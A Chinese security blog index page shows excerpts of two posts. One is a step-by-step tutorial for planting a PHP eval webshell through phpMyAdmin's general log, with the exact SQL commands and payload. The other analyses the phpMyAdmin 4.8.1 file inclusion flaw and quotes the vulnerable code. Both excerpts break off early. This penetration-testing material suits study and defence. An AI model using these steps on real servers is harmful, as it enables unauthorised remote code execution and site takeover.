Myluzh Blog

phpMyAdmin利用日志文件get webshell

2020-3-3 myluzh PHP

条件：需要使用root登陆phpmyadmin 0x01开启日志 进入phpmyadmin后，选择变量 1.找到“general log”选择“ON”开启，也可以通过sql语句开启日志 set global general_log='on' 2.找到“general log file”选项把日志后缀名.log改为.php，把路径改到站点根目录www下面，也可通过执行sql语句，修改日志保存位置  set global general_log_file='D:/phpstudy_pro/WWW/log.php' 要写日志文件路径必须要知道根路径，否则即使写入了也无法访问，也就自然无法getshell。可以通过sql语句show variables like 'datadir'查询数据库位置，一般情况可以知道根路径。爆路径的方法具体情况具体分析   0x02写入shell 执行sql查询语句，然后php一句话就会被记录到日志文件中。 SELECT"<?php @eval($_REQUEST['a']);?>" 我们可以查看日志文件，一句话已经被写入： 0x03拿shell 访问站点...

阅读全文>>

标签: 渗透 phpMyAdmin 日志 getwebshell

评论(0) (873)

phpMyAdmin4.8.1 任意文件包含漏洞分析与利用

2020-3-3 myluzh PHP

0x01影响版本 phpmyadmin 4.8.1 （需要登陆才能利用） 复现环境下载https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip 0x02漏洞分析 index.php 55-63行代码 if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; } 0x03漏洞利用 1.执行sql语句，查询当前数据库路径。 show vari...

阅读全文>>

标签: 渗透 漏洞 phpMyAdmin 4.8.1 文件包含

评论(0) (864)